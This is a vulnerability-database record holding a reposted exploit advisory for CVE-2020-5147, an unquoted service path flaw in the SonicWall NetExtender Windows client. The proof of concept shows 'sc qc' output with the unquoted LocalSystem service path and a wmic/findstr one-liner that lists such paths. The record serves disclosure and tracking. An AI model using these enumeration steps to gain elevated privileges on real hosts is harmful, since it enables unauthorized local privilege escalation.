{"uuid": "6883db92-c139-4262-9e41-63f9eb62d518", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5147", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/20562", "content": "Exploit Collector\nSonicWall NetExtender 10.2.0.300 Unquoted Service Path\n\nhttps://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png \nSonicWall NetExtender version 10.2.0.300 suffers from an unquoted service path vulnerability.\n\nMD5 | fa624f197df2e6cb5729e670d942f864\n\nDownload\n# Exploit Title: SonicWall NetExtender 10.2.0.300 -  Unquoted Service Path\n# Exploit Author: shinnai\n# Software Link: https://www.sonicwall.com/products/remote-access/vpn-clients/\n# Version: 10.2.0.300\n# Tested On: Windows\n# CVE: CVE-2020-5147\n\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\nTitle: SonicWall NetExtender windows client unquoted service path \nvulnerability\nVers.: 10.2.0.300\nDown.: https://www.sonicwall.com/products/remote-access/vpn-clients/\n\nAdvisory: \nhttps://psirt.global.sonicwall.com/vuln-detail/SNWLID-2020-0023\nCVE ID: CVE-2020-5147 (https://nvd.nist.gov/vuln/detail/CVE-2020-5147)\n\nURLs:\nhttps://besteffortteam.it/sonicwall-netextender-windows-client-unquoted-service-path-vulnerability/\nhttps://shinnai.altervista.org/exploits/SH-029-20210109.html\n\nDesc.:\nSonicWall NetExtender Windows client vulnerable to unquoted service path \nvulnerability, this allows a local attacker to gain elevated privileges \nin the host operating system.\nThis vulnerability impact SonicWall NetExtender Windows client version \n10.2.300 and earlier.\n\nPoc:\n\nC:\\>sc qc sonicwall_client_protection_svc\n[SC] QueryServiceConfig OPERAZIONI RIUSCITE\nNOME_SERVIZIO: sonicwall_client_protection_svc\nTIPO                      : 10  WIN32_OWN_PROCESS\nTIPO_AVVIO                : 2   AUTO_START\nCONTROLLO_ERRORE          : 1   NORMAL\nNOME_PERCORSO_BINARIO     : C:\\Program Files\\SonicWall\\Client \nProtection Service\\SonicWallClientProtectionService.exe <--\nService Path Vulnerability\nGRUPPO_ORDINE_CARICAMENTO :\nTAG                       : 0\nNOME_VISUALIZZATO         : SonicWall Client Protection Service\nDIPENDENZE                :\nSERVICE_START_NAME : LocalSystem\nC:\\>\n\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\nC:\\>wmic service get name,displayname,pathname,startmode |findstr /i \n\"auto\" |findstr /i /v \"c:\\windows\\\\\" |findstr /i /v \"\"\"\nSonicWall Client Protection Service \nsonicwall_client_protection_svc  C:\\Program Files\\SonicWall\\Client \nProtection Service\\SonicWallClientProtectionService.exe      Auto\n\nC:\\>\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-07T19:00:04.423513Z"}